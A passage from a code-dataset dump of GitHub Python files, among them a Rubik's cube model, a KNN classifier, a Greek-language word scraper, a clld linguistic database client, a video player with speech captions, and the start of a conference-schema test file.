slice\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                if xyz == 'x':\n                    self._array[index][x][y] = storage[x][y]\n                if xyz == 'y':\n                    self._array[y][index][x] = storage[x][y]\n                if xyz == 'z':\n                    self._array[x][y][index] = storage[x][y]\n\n    def set_side(self, side, input_color):\n        #Set side depending on the side and input_color\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                if isinstance(input_color, list):\n                    color = input_color[x][y]\n                else:\n                    color = input_color\n\n                self.set_part(side, x, y, color)\n\n    def set_part(self, side, x, y, color):\n        #Set a single part on a cube depending on the side, x, y, color.\n        if side == \"Front\":\n            self._array[x][y][self._dimension-1].set_front(color)\n        if side == \"Back\":\n            self._array[x][y][0].set_back(color)\n        if side == \"Top\":\n            self._array[x][self._dimension-1][y].set_top(color)\n        if side == \"Bottom\":\n            self._array[x][0][y].set_bottom(color)\n        if side == \"Left\":\n            self._array[0][x][y].set_left(color)\n        if side == \"Right\":\n            self._array[self._dimension-1][x][y].set_right(color)\n\n    def get_side(self, side):\n        #Get a complete side from the RubiksCube depending on the side\n        array = [[None for k in xrange(self._dimension)] for i in xrange(self._dimension)]\n\n        for x in xrange(self._dimension):\n            for y in xrange(self._dimension):\n                if side == \"Front\":\n                    array[x][y] = self._array[x][y][self._dimension-1].get_front()\n                if side == \"Back\":\n                    array[x][y] = self._array[x][y][0].get_back()\n                if side == \"Top\":\n                    array[x][y] = self._array[x][self._dimension-1][y].get_top()\n                if side == \"Bottom\":\n                    array[x][y] = self._array[x][0][y].get_bottom()\n                if side == \"Left\":\n                    array[x][y] = self._array[0][x][y].get_left()\n                if side == \"Right\":\n                    array[x][y] = self._array[self._dimension-1][x][y].get_right()\n        return array\n\n    def _check_side(self, side):\n        #Checks if the given side has only 1 color\n        array = self.get_side(side)\n        return Helper.array_2d_all_same(array, self._dimension)\n\n    def contains(self, item):\n        #Checks if the this RubiksCube contains the given item and returns the [side, x, y]\n        for side in Helper.CUBE_SIDES:\n            array = self.get_side(side)\n            for x in range(self._dimension):\n                for y in range(self._dimension):\n                    if array[x][y] == item:\n                        return [side, x, y]\n        return False\n\n    def random(self, steps = 20):\n        for x in range(steps):\n            self._rotate_array(choice([\"x\",\"y\",\"z\"]), randint(0, self._dimension-1), choice([-1,1]))\n\n    def execute_steps(self, step_list):\n        for step in step_list:\n            self._rotate_array(step.axis, step.rows, step.direction)\n\n    def solved(self):\n        #Checks if this RubiksCube is solved\n        return self.check_top() and \\\n               self.check_bottom() and \\\n               self.check_front() and \\\n               self.check_back() and \\\n               self.check_left() and \\\n               self.check_right()\n\n    def is_match(self, cube, perfect=True):\n        storage = []\n        for side in Helper.CUBE_SIDES:\n            if perfect:\n                storage.append(self.get_side(side) == cube.get_side(side))\n            else:\n                storage.append(self._match_side(self.get_side(side), cube.get_side(side)))\n        return all(storage)\n\n\n    def _match_side(self, side_a, side_b):\n        for x in range(self.cube_size):\n            for y in range(self.cube_size):\n                # if side_b[x][y] is None or side_a[x][y] is None:\n                #     continue\n\n                if side_a[x][y] != side_b[x][y]:\n                    return False\n        return True\n\n    def turn(self, xyz, index, direction):\n        if xyz == 'x':\n            self.turn_x(index, direction)\n        if xyz == 'y':\n            self.turn_y(index, direction)\n        if xyz == 'z':\n            self.turn_z(index, direction)\n\n    def turn_x(self, index, direction):\n        if index >= 0:\n            self._rotate_array('x', index, direction)\n        else:\n            for x in range(self.get_size()):\n                self._rotate_array('x', x, direction)\n\n    def turn_y(self, index, direction):\n        if index >= 0:\n            self._rotate_array('y', index, direction)\n        else:\n            for x in range(self.get_size()):\n                self._rotate_array('y', x, direction)\n\n    def turn_z(self, index, direction):\n        if index >= 0:\n            self._rotate_array('z', index, direction)\n        else:\n            for x in range(self.get_size()):\n                self._rotate_array('z', x, direction)\n\n    def set_front(self, color):\n        self.set_side(\"Front\", color)\n\n    def get_front(self):\n        return self.get_side(\"Front\")\n\n    def check_front(self):\n        return self._check_side(\"Front\")\n\n    def set_back(self, color):\n        self.set_side(\"Back\", color)\n\n    def get_back(self):\n        return self.get_side(\"Back\")\n\n    def check_back(self):\n        return self._check_side(\"Back\")\n\n    def set_top(self, color):\n        self.set_side(\"Top\", color)\n\n    def get_top(self):\n        return self.get_side(\"Top\")\n\n    def check_top(self):\n        return  self._check_side(\"Top\")\n\n    def set_bottom(self, color):\n        self.set_side(\"Bottom\", color)\n\n    def get_bottom(self):\n        return self.get_side(\"Bottom\")\n\n    def check_bottom(self):\n        return self._check_side(\"Bottom\")\n\n    def set_left(self, color):\n        self.set_side(\"Left\", color)\n\n    def get_left(self):\n        return self.get_side(\"Left\")\n\n    def check_left(self):\n        return self._check_side(\"Left\")\n\n    def set_right(self, color):\n        self.set_side(\"Right\", color)\n\n    def get_right(self):\n        return self.get_side(\"Right\")\n\n    def check_right(self):\n        return self._check_side(\"Right\")\n\n    def toString(self):\n        print(\"Front\")\n        print(self.get_front())\n        print(\"Back\")\n        print(self.get_back())\n        print(\"Top\")\n        print(self.get_top())\n        print(\"Bottom\")\n        print(self.get_bottom())\n        print(\"Left\")\n        print(self.get_left())\n        print(\"Right\")\n        print(self.get_right())","repo_name":"Willempie/Artificial_Intelligence_Cube","sub_path":"objects/cube/rubiks_cube.py","file_name":"rubiks_cube.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25064974026","text":"# https://leetcode.com/problems/find-a-corresponding-node-of-a-binary-tree-in-a-clone-of-that-tree\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def getTargetCopy(self, original, cloned, target):\n        Q = [cloned]\n        while len(Q) > 0:\n            R = Q.pop(0)\n            if R.val == target.val:\n                return R\n            \n            if R.left:\n                Q.append(R.left)\n            \n            if R.right:\n                Q.append(R.right)","repo_name":"jkfer/LeetCode","sub_path":"Find_a_correspo_node_in_clone.py","file_name":"Find_a_correspo_node_in_clone.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29378816902","text":"import csv\r\nimport random\r\nimport math\r\nimport operator\r\nimport pandas as pd\r\n\r\ndef load(filename, split, trainingset=[], testset=[]):\r\n    with open(filename, 'r') as csvfile:\r\n        reader = csv.reader(csvfile)\r\n        dataset = list(reader)\r\n        for x in range (len(dataset)):\r\n            for y in range(5):\r\n                dataset[x][y] = float(dataset[x][y])\r\n            if random.random() < split :\r\n                trainingset.append(dataset[x])\r\n            else:\r\n                testset.append(dataset[x])\r\n\r\ndef load2(trainingset=[], testset=[]):\r\n    with open(r'DataTrain_Tugas3_AI.csv') as csvfile:\r\n        reader = csv.reader(csvfile, quoting=csv.QUOTE_NONNUMERIC)\r\n        for row in reader:\r\n            trainingset.append(row)\r\n    with open(r'DataTest_Tugas3_AI.csv') as csvfile:\r\n        reader2 = csv.reader(csvfile, quoting=csv.QUOTE_NONNUMERIC)\r\n        for row in reader2:\r\n            testset.append(row)\r\n\r\ndef euclidean(instance1, instance2, length):\r\n    distance = 0\r\n    for x in range(length):\r\n        distance += pow(instance1[x] - instance2[x], 2)\r\n    return math.sqrt(distance)\r\n\r\ndef getNeighbors(trainingset, testinstance, k):\r\n    distances = []\r\n    length = len(testinstance)-1\r\n    for x in range(len(trainingset)):\r\n        dist = euclidean(testinstance, trainingset[x], length)\r\n        distances.append((trainingset[x], dist))\r\n    distances.sort(key=operator.itemgetter(1))\r\n    neighbors = []\r\n    for x in range(k):\r\n        neighbors.append(distances[x][0])\r\n    return neighbors\r\n\r\ndef getResponse(neighbors):\r\n    classVotes = {}\r\n    for x in range(len(neighbors)):\r\n        response = neighbors[x][-1]\r\n        if response in classVotes:\r\n            classVotes[response] += 1\r\n        else:\r\n            classVotes[response] = 1\r\n    sortedVotes = sorted(classVotes.items(), key=operator.itemgetter(1), reverse=True)\r\n    return sortedVotes[0][0]\r\n\r\ndef getAccuracy(testset, predictions):\r\n    correct = 0\r\n    for x in range(len(testset)):\r\n        if predictions[x] == testset[x][-1]:\r\n            correct += 1\r\n        akurasi = (correct/float(len(testset))) * 100\r\n    return akurasi\r\n\r\ndef main():\r\n    trainingset=[]\r\n    testset=[]\r\n    split = 0.67\r\n    load(r'DataTrain_Tugas3_AI.csv',split ,trainingset, testset)\r\n    print ('train set: ' +repr(len(trainingset))+ ' lines')\r\n    print ('test set: ' +repr(len(testset))+ ' lines')\r\n    acc=[]\r\n    prediction = []\r\n    k = 3\r\n    for x in range(len(testset)):\r\n        neighbors = getNeighbors(trainingset, testset[x], k)\r\n        result = getResponse(neighbors)\r\n        prediction.append(result)\r\n        print('X1= '+repr(testset[x][0])+', X2= '+repr(testset[x][1])+', X3= '+repr(testset[x][2])+', X4= '+repr(testset[x][3])+', X5= '+repr(testset[x][4])+', PREDICTED = ' +repr(result)+ ', ACTUAL= ' +repr(testset[x][-1]))\r\n    accuracy = getAccuracy(testset, prediction)\r\n    acc.append(accuracy)\r\n    print(\"ACCURACY = \" +repr(accuracy)+ \"%\")\r\n    print('_____________________________________________________________________________________________________')\r\n    print('')\r\n\r\ndef main2():\r\n    trainingset=[]\r\n    testset=[]\r\n    load2(trainingset, testset)\r\n    print ('train set: ' +repr(len(trainingset))+ ' lines')\r\n    print ('test set: ' +repr(len(testset))+ ' lines')\r\n    X1 = []\r\n    X2 = []\r\n    X3 = []\r\n    X4 = []\r\n    X5 = []\r\n    prediction = []\r\n    k = 3\r\n    for x in range(len(testset)):\r\n        neighbors = getNeighbors(trainingset, testset[x], k)\r\n        result = getResponse(neighbors)\r\n        prediction.append(result)\r\n        print('predicted = ' +repr(result))\r\n        X1.append(testset[x][0])\r\n        X2.append(testset[x][1])\r\n        X3.append(testset[x][2])\r\n        X4.append(testset[x][3])\r\n        X5.append(testset[x][4])\r\n    file_name = \"TebakanTugas3.csv\"\r\n    df = pd.DataFrame([X1, X2, X3, X4, X5, prediction])\r\n    df = df.transpose()\r\n    df.to_csv(file_name, index=False, header=None)\r\n\r\nmain()\r\nmain2()\r\n","repo_name":"adhyfahmyh/artificial-intelligence","sub_path":"knn/KNN.py","file_name":"KNN.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5926237346","text":"import click\nimport os\nimport requests\nimport shutil\nimport sys\nimport time\n\nfrom bs4 import BeautifulSoup\n\n\nalphabet = [\n    {\n        'letter': 'Α',\n        'pages': 31660\n    },\n    {\n        'letter': 'Β',\n        'pages': 5050\n    },\n    {\n        'letter': 'Γ',\n        'pages': 5890\n    },\n    {\n        'letter': 'Δ',\n        'pages': 7130\n    },\n    {\n        'letter': 'Ε',\n        'pages': 12530\n    },\n    {\n        'letter': 'Ζ',\n        'pages': 1500\n    },\n    {\n        'letter': 'Η',\n        'pages': 1310\n    },\n    {\n        'letter': 'Θ',\n        'pages': 2300\n    },\n    {\n        'letter': 'Ι',\n        'pages': 1720\n    },\n    {\n        'letter': 'Κ',\n        'pages': 17700\n    },\n    {\n        'letter': 'Λ',\n        'pages': 4740\n    },\n    {\n        'letter': 'Μ',\n        'pages': 13020\n    },\n    {\n        'letter': 'Ν',\n        'pages': 3790\n    },\n    {\n        'letter': 'Ξ',\n        'pages': 5250\n    },\n    {\n        'letter': 'Ο',\n        'pages': 4970\n    },\n    {\n        'letter': 'Π',\n        'pages': 18560\n    },\n    {\n        'letter': 'Ρ',\n        'pages': 2720\n    },\n    {\n        'letter': 'Σ',\n        'pages': 14340\n    },\n    {\n        'letter': 'Τ',\n        'pages': 7680\n    },\n    {\n        'letter': 'Υ',\n        'pages': 3170\n    },\n    {\n        'letter': 'Φ',\n        'pages': 5640\n    },\n    {\n        'letter': 'Χ',\n        'pages': 5370\n    },\n    {\n        'letter': 'Ψ',\n        'pages': 2080\n    },\n    {\n        'letter': 'Ω',\n        'pages': 470\n    }\n]\n\n\ndef is_clean(word):\n    \"\"\"\n    Check for profanity\n    \"\"\"\n    clean = True\n    profane_words = []\n\n    if word in profane_words:\n        clean = False\n\n    return clean\n\n\ndef log(text, type):\n    colors = {\n        'success': 'green',\n        'info': 'yellow',\n        'warning': 'red'\n    }\n\n    click.secho(f'[{type}] - {text}', fg=colors[type])\n\n\ndef get_source(url):\n    \"\"\"\n    Get page source for the given url\n    \"\"\"\n    rs = requests.get(url)\n    source = BeautifulSoup(rs.content, 'html.parser')\n\n    return source\n\n\ndef parse(source):\n    \"\"\"\n    Return words array for the given page source\n    \"\"\"\n    children = source.find(id='lemmas').children\n    words = []\n\n    for node in children:\n        dt = node.find('dt')\n\n        if dt != -1:\n            word = dt.find('b').text.strip(',')\n            words.append(word)\n\n    return words\n\n\ndef scrape(letter: str, pages: int):\n    \"\"\"\n    Scrapes www.greek-language.gr to build\n    a full list of modern Greek words\n\n    https://www.greek-language.gr/greekLang/index.html\n    \"\"\"\n    log(f'Getting letter {letter} words...', 'info')\n    start = time.time()\n    url = 'https://www.greek-language.gr/greekLang/modern_greek/tools/lexica/reverse/search.html'\n    results = []\n    page = 0\n\n    while page <= int(pages):\n        time.sleep(0.1)\n        endpoint = f'{url}?start={page}&lq={letter}*'\n        source = get_source(endpoint)\n        words = parse(source)\n        page = page + 10\n        for word in words:\n            results.append(word)\n\n    end = time.time()\n    total = end - start\n\n    log(f'Got {letter} in {total}', 'success')\n\n    return results\n\n\ndef get_data(file_name):\n    \"\"\"\n    Return words in a given file\n    \"\"\"\n    results = []\n\n    if not os.path.isfile(file_name):\n        return results\n\n    try:\n        with open(file_name, 'r') as words:\n            for word in words:\n                results.append(word.strip())\n    except Exception as e:\n        log(f'Could not get data {str(e)}', 'warning')\n\n    return results\n\n\ndef check():\n    \"\"\"\n    Check if necessary files exist\n    \"\"\"\n    if not os.path.isfile('files/el.txt'):\n        log('el.txt is missing from files. Please restore the repository.', 'warning')\n        sys.exit(2)\n\n    if not os.path.isdir('output'):\n        log('Output folder is missing. Creating folder...', 'warning')\n        os.mkdir('output')\n\n\ndef clean_output():\n    \"\"\"\n    Delete output files and folder\n    \"\"\"\n    if not os.path.isdir('output'):\n        log('Working directory already clean...', 'info')\n        return\n\n    shutil.rmtree('output')\n\n    log('Working directory clean', 'success')\n\n    return\n\n\ndef romanize_words(words):\n    \"\"\"\n    Romanize words\n    \"\"\"\n    mappings = {\n        'α': 'a',\n        'ά': 'a',\n        'β': 'v',\n        'γ': 'g',\n        'δ': 'd',\n        'ε': 'e',\n        'έ': 'e',\n        'ζ': 'z',\n        'η': 'i',\n        'ή': 'i',\n        'θ': 'th',\n        'ι': 'i',\n        'ί': 'i',\n        'ϊ': 'i',\n        'ΐ': 'i',\n        'κ': 'k',\n        'λ': 'l',\n        'μ': 'm',\n        'ν': 'n',\n        'ξ': 'ks',\n        'ο': 'o',\n        'ό': 'o',\n        'π': 'p',\n        'ρ': 'r',\n        'σ': 's',\n        'ς': 's',\n        'τ': 't',\n        'υ': 'y',\n        'ύ': 'y',\n        'ϋ': 'y',\n        'ΰ': 'y',\n        'φ': 'f',\n        'χ': 'h',\n        'x': 'h',\n        'ψ': 'ps',\n        'ω': 'o',\n        'ώ': 'o',\n        '-': '-',\n        '!': '!',\n        '.': '.',\n        ',': ',',\n        \"'\": \"'\"\n    }\n    results = []\n\n    if not words:\n        log('No data provided', 'info')\n\n        return results\n\n    for word in words:\n        result = []\n        chars = list(word.strip())\n        for char in chars:\n            try:\n                char = char.lower()\n                result.append(mappings[char])\n            except Exception as e:\n                log(f'Could not map {str(e)}', 'warning')\n\n        word = ''.join(result)\n        results.append(word)\n\n    log('Romanized all words', 'success')\n\n    return results\n\n\ndef export(file_name, words, file_type='txt'):\n    \"\"\"\n    Create a words file\n    \"\"\"\n    if not words:\n        log('No data provided', 'warning')\n        return\n\n    check()\n\n    log(f'Creating file {file_name}.{file_type}...', 'info')\n\n    output = open(f'output/{file_name}.{file_type}', 'w')\n\n    if file_type == 'json':\n        output.write('[')\n\n    for word in words:\n        if file_type == 'txt':\n            output.write(f'{word.strip()}\\n')\n        elif file_type == 'json':\n            output.write(f'\"{word.strip()}\",\\n')\n\n    if file_type == 'json':\n        output.write(']')\n\n    output.close()\n\n    log(f'Created {file_name}.{file_type}', 'success')\n","repo_name":"kalpetros/greek-dictionary","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"27654486385","text":"import numpy as np\nimport pandas as pd\n\nfrom egad import run_egad\nfrom rank import rank\n\nfrom argparse import ArgumentParser\n\n##Get iteration number from the command line\nparser = ArgumentParser()\nparser.add_argument('-i', type=int, help='ID for results',required=True)\nargs = parser.parse_args()\n\n\n## Load list of datasets and permute the order of them\ndatasets = np.genfromtxt(\n    '/data/bharris/biccn_paper/data/bulk_rna/datasets_used.csv', dtype=str)\nnp.random.shuffle(datasets) #Shuffle order of datasets\n\n## Compute file paths for aggregation\nnetworks_path = '/data/bharris/biccn_paper/data/bulk_rna/networks/'\nfile_names = [f'{networks_path}{ds}_pearson_nw.hdf5' for ds in datasets]\n \n## Load in GO annotations\ngo = pd.read_hdf('~/GO_data/go_mouse_nw.hdf5', 'go')\n\n##Create empty network to store aggregate in\ngenes = np.genfromtxt(\n    '/data/bharris/biccn_paper/data/highly_expressed_7_datasets_75k.csv',\n    dtype=str)\nagg_nw = np.zeros([genes.shape[0],genes.shape[0]])\n\n##Series to store result\nresults = pd.Series()\nfor ds, fn in zip(datasets, file_name):\n    agg_nw += pd.read_hdf(fn,'nw').values\n    agg_nw_copy = agg_nw.copy()\n    rank(agg_nw_copy) #Ranking occurs inplace\n    results[ds] = run_egad(go, \n                           pd.DataFrame(agg_nw_copy, \n                                            index=genes,\n                                            columns=genes)).AUC.mean()\n\n## Save output using ID\nresults.to_csv(f'permute_network_performance_{args.i}.csv')","repo_name":"juliawang22/CSHLPracticalCoding","sub_path":"MultiProcessing & Multithreading/gnu_parallel_example.py","file_name":"gnu_parallel_example.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"24026141921","text":"# coding: utf8\n\"\"\"\nFunctionality to access linguistic databases.\n\nA database in this context means linguistic data published via a clld application.\n\"\"\"\nfrom __future__ import unicode_literals\nimport re\nfrom collections import namedtuple\n\nfrom rdflib import URIRef, Literal\nfrom rdflib.namespace import VOID, SKOS, DCTERMS, RDFS, RDF, OWL, XSD, Namespace\nfrom purl import URL\nfrom uritemplate import expand\nfrom six import string_types, text_type, PY3\n\nfrom clldclient.cache import Cache\nfrom clldclient.table import Table\n\n\nGLOTTOLOG_LANGUOID_URI = re.compile(\n    'http://glottolog.org/resource/languoid/id/(?P<glottocode>[a-z]{4}[0-9]{4})$')\n\nNAMESPACES = dict(\n    dcterms=DCTERMS,\n    skos=SKOS,\n    rdf=RDF,\n    rdfs=RDFS,\n    void=VOID,\n    owl=OWL,\n    lexvo=Namespace(\"http://lexvo.org/ontology#\"),\n    geo=Namespace(\"http://www.w3.org/2003/01/geo/wgs84_pos#\"),\n)\n\n\ndef get_first(iterable, filter_=None, attr=None):\n    \"\"\"helper to make dealing with generators as returned by `subjects` or `objects` easy.\n    \"\"\"\n    for item in iterable:\n        if filter_ is None or filter_(item):\n            return getattr(item, attr) if attr else item\n\n\nclass RdfResource(object):\n    def __init__(self, res, client, rtype):\n        self.type = rtype\n        self.client = client\n        assert res.mimetype == 'application/rdf+xml'\n        self.uriref = URIRef(\n            text_type(res.canonical_url) if PY3 else res.canonical_url)\n        self.g = res.content\n\n    @property\n    def name(self):\n        return self.get_text('rdfs:label')\n\n    def __repr__(self):\n        return text_type('<{0} type=\"{1}\" name=\"{2}\">'.format(\n            self.__class__.__name__, self.type, self.name).encode('ascii', 'replace'))\n\n    def __eq__(self, other):\n        if isinstance(other, RdfResource):\n            return self.uriref == other.uriref\n        return False\n\n    def __getitem__(self, item):\n        if item.startswith('http:') or item.startswith('https:'):\n            predicate = URIRef(item)\n        elif ':' in item:\n            prefix, localname = item.split(':', 1)\n            predicate = NAMESPACES[prefix][localname]\n        else:\n            raise KeyError('%s' % item)\n        return list(self.g.objects(self.uriref, predicate))\n\n    def _get_first(self, item, attr=None):\n        return get_first(self[item], attr=attr)\n\n    def get_text(self, literals, language=None):\n        if isinstance(literals, Literal):\n            literals = [literals]\n        elif isinstance(literals, string_types):\n            literals = self[literals]\n        for literal in literals:\n            if language is None or language == literal.language:\n                return '%s' % literal\n\n    def _get_first_resource(self, property_):\n        urirefs = self[property_]\n        if urirefs:\n            return self.client.resource(urirefs[0])\n\n\nclass Index(RdfResource):\n    @property\n    def member_type(self):\n        return self.get_text('skos:hiddenLabel', language='x-clld')\n\n    @property\n    def members(self):\n        return self['skos:member']\n\n    def __len__(self):\n        return len(self.members)\n\n    def __iter__(self):\n        for member in self.members:\n            yield self.client.resource(member)\n\n\nclass Resource(RdfResource):\n    @property\n    def id(self):\n        return self.get_text('skos:altLabel', language='x-clld')\n\n\nclass Language(Resource):\n    @property\n    def latitude(self):\n        return self._get_first('geo:lat', attr='value')\n\n    @property\n    def longitude(self):\n        return self._get_first('geo:long', attr='value')\n\n    @property\n    def iso_code(self):\n        return self._get_first('lexvo:iso639P3PCode', attr='value')\n\n    @property\n    def glottocode(self):\n        for uriref in self['owl:sameAs']:\n            match = GLOTTOLOG_LANGUOID_URI.match(uriref)\n            if match:\n                return match.group('glottocode')\n\n\nDomainElement = namedtuple('DomainElement', 'uriref name description number')\n\n\nclass Parameter(Resource):\n    @property\n    def domain(self):\n        res = []\n        for subject in self.g.subjects(SKOS['broader'], self.uriref):\n            res.append(DomainElement(\n                subject,\n                get_first(self.g.objects(subject, DCTERMS['title']), attr='value'),\n                get_first(\n                    self.g.objects(subject, DCTERMS['description']),\n                    filter_=lambda l: l.language == 'en',\n                    attr='value'),\n                get_first(\n                    self.g.objects(subject, DCTERMS['description']),\n                    filter_=lambda l: l.datatype == XSD.int,\n                    attr='value'),\n            ))\n        return sorted(res, key=lambda de: de.number if de.number is not None else 0)\n\n\nclass Dataset(RdfResource):\n    @property\n    def citation(self):\n        return self.get_text('dcterms:bibliographicCitation')\n\n    @property\n    def license(self):\n        return self.get_text('dcterms:license')\n\n    @property\n    def resource_types(self):\n        res = []\n        for s, p, o in self.g.triples((None, RDF.type, VOID['Dataset'])):\n            if s != self.uriref:\n                res.append(ResourceType(\n                    s,\n                    self.get_text(\n                        self.g.objects(s, SKOS['hiddenLabel']), language='x-clld'),\n                    self.get_text(self.g.objects(s, SKOS['prefLabel'])),\n                    self.get_text(self.g.objects(s, SKOS['example']))))\n        return {rt.name: rt for rt in res}\n\n\nResourceType = namedtuple('ResourceType', 'uriref name label uritemplate')\n\n\ndef get_resource_type(g, uriref):\n    for literal in g.objects(uriref, SKOS['scopeNote']):\n        if literal.language == 'x-clld':\n            return '%s' % literal\n\n\nclass Database(object):\n    \"\"\"\n    Interface to access a database published as clld app.\n\n    >>> wals = Database('wals.info')\n    \"\"\"\n    __resource_map__ = {\n        'index': Index,\n        'language': Language,\n        'parameter': Parameter,\n    }\n\n    def __init__(self, host):\n        self.host = host\n        self.cache = Cache()\n        self._dataset = None\n\n    @property\n    def dataset(self):\n        if self._dataset is None:\n            self._dataset = Dataset(self.get(), self, 'dataset')\n        return self._dataset\n\n    def resource(self, id, type=None):\n        if isinstance(id, string_types) and (id.startswith('/') or id.startswith('http')):\n            id = URIRef(self.url(id).as_string())\n        assert isinstance(id, URIRef) or type\n        if not isinstance(id, URIRef):\n            resource_type = self.dataset.resource_types[type]\n            id = URIRef(expand(resource_type.uritemplate, dict(id=id)))\n        res = self.get(id)\n        rtype = get_resource_type(res.content, URIRef(res.canonical_url))\n        cls = self.__resource_map__.get(rtype, Resource)\n        return cls(res, self, rtype)\n\n    def resources(self, type):\n        if not isinstance(type, URIRef):\n            type = self.dataset.resource_types[type].uriref\n        return self.resource(type)\n\n    def url(self, path='/', **query):\n        url = URL(path)\n        if not url.host():\n            url = url.host(self.host)\n        if not url.scheme():\n            url = url.scheme('http')\n        for k, v in query.items():\n            url = url.query_param(k, v)\n        return url\n\n    def get(self, url='/', **query):\n        _u = self.url(url, **query)\n        if _u:\n            return self.cache.get(\n                self.url(url, **query).as_string(),\n                default=None,\n                headers={'Accept': 'application/rdf+xml'})\n\n    def table(self, rsc, strip_html=True, **constraints):  # pragma: no cover\n        return Table(rsc, self, strip_html=strip_html, **constraints)\n\n    def formats(self, url):\n        if isinstance(url, RdfResource):\n            url = url.uriref\n        for link in self.get(url).links:\n            if link['rel'] == 'alternate':\n                yield link\n","repo_name":"clld/clldclient","sub_path":"clldclient/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":7945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"70111117842","text":"import datetime\n\nimport cv2\nimport time\nimport asyncio\nimport random\nimport speech2\nfrom speech2 import videos\n\nQQQ=16\n# Audio recording parameters\nRATE = 16000\nCHUNK = int(RATE / 10)  # 100ms\n\ndef get_video_blocking():\n    print(\"Get video 1\")\n    time.sleep(1)\n    print(\"Get video 2\")\n    return random.choice(videos)\n\n\nasync def play_video(cap, recognizer):\n    fps=cap.get(cv2.CAP_PROP_FPS)\n    mspf=int(1000/fps)\n    clip_length = 3\n\n    loop = asyncio.get_event_loop()\n    time=0\n    text=\"\"\n    for frame in range(int(clip_length * fps)):\n        try:\n            ret, frame = cap.read()\n            frame = cv2.resize(frame,(1280,720))\n            h, w, _ = frame.shape\n            # print(\"h\",h)\n            text2,success=await recognizer.get_text()\n            if success:\n                text=text2\n                time=datetime.datetime.now().timestamp()\n            elif abs(time-datetime.datetime.now().timestamp())>2:\n                text=\"\"\n            size=cv2.getTextSize(text,cv2.FONT_HERSHEY_SIMPLEX,2.25,2)\n            # print(size)\n            cv2.putText(frame, text, ((w-size[0][0])//2, (h-size[0][1])//2), cv2.FONT_HERSHEY_SIMPLEX, 2.5, (255, 255, 255), 3, cv2.LINE_AA)\n            cv2.imshow(\"Ignitify\", frame)\n        except cv2.error:\n            break\n\n        cv2.waitKey(mspf)\n        await asyncio.sleep(0)\n    cap.release()\n\n\nasync def get_video(speechrecognizer):\n    loop = asyncio.get_event_loop()\n    url = await speechrecognizer.get_video()\n    return await loop.run_in_executor(None, cv2.VideoCapture, url)\n\n\nasync def play_videos(speechrecognizer):\n    url = random.choice(speech2.videos)\n    b=\" \"\n    cap = cv2.VideoCapture(url)\n    loop = asyncio.get_event_loop()\n    while True:\n        print(\"Getting video !!!!!!!!!!!!!!!!!!!\")\n        cap_task = asyncio.create_task(get_video(speechrecognizer))\n        print(\"p\")\n        await play_video(cap, speechrecognizer)\n        cap = await cap_task\n\n\ncv2.namedWindow(\"Ignitify\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"Ignitify\", 1280, 720)\n\nloop = asyncio.get_event_loop()\nspeechrecognizer = speech2.SpeechRecognizer()\nloop.run_until_complete(asyncio.gather(\n    speechrecognizer.recognize(),\n    play_videos(speechrecognizer)\n))\n\ncv2.destroyAllWindows()","repo_name":"dkter/ignitify","sub_path":"src/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"41026984798","text":"import orjson\nfrom helpers.providers.faker import faker\n\nfrom inspirehep.records.marshmallow.conferences.base import (\n    ConferencesAdminSchema,\n    ConferencesPublicListSchema,\n    ConferencesPublicSchema,\n    ConferencesRawSchema,\n)\n\n\ndef test_base_schema_contribution_number():\n    expected_result = {\"number_of_contributions\": 0}\n    data = {\"number_of_contributions\": 0}\n    result = ConferencesRawSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_base_schema_addresses():\n    expected_result = {\n        \"addresses\": [\n            {\"cities\": [\"Beatenberg\"], \"country_code\": \"CH\", \"country\": \"Switzerland\"}\n        ]\n    }\n    data = {\"addresses\": [{\"cities\": [\"Beatenberg\"], \"country_code\": \"CH\"}]}\n\n    result = ConferencesRawSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_base_schema_addresses_wrong_country_code():\n    expected_result = {\n        \"addresses\": [\n            {\n                \"cities\": [\"City Name\"],\n                \"country_code\": \"CS\",\n                \"country\": \"Serbia and Montenegro\",\n            }\n        ]\n    }\n    data = {\"addresses\": [{\"cities\": [\"City Name\"], \"country_code\": \"CS\"}]}\n    result = ConferencesRawSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_base_schema_proceedings():\n    expected_result = {\n        \"proceedings\": [\n            {\n                \"publication_info\": [\n                    {\"pubinfo_freetext\": \"Geneva, Switzerland: CERN (2002) 401 p\"}\n                ],\n                \"control_number\": \"601055\",\n            }\n        ]\n    }\n\n    data = {\n        \"proceedings\": [\n            {\n                \"self\": {\"$ref\": \"http://labs.inspirehep.net/api/literature/601055\"},\n                \"control_number\": \"601055\",\n                \"publication_info\": [\n                    {\n                        \"cnum\": \"C01-08-26\",\n                        \"pubinfo_freetext\": \"Geneva, Switzerland: CERN (2002) 401 p\",\n                        \"conference_record\": {\n                            \"$ref\": \"http://labs.inspirehep.net/api/conferences/973443\"\n                        },\n                    }\n                ],\n            }\n        ]\n    }\n\n    result = ConferencesRawSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_public_schema():\n    expected_result = {\"number_of_contributions\": 0}\n\n    data = {\n        \"_private_notes\": \"PRIVATE\",\n        \"_collections\": [\"collection1, collection2\"],\n 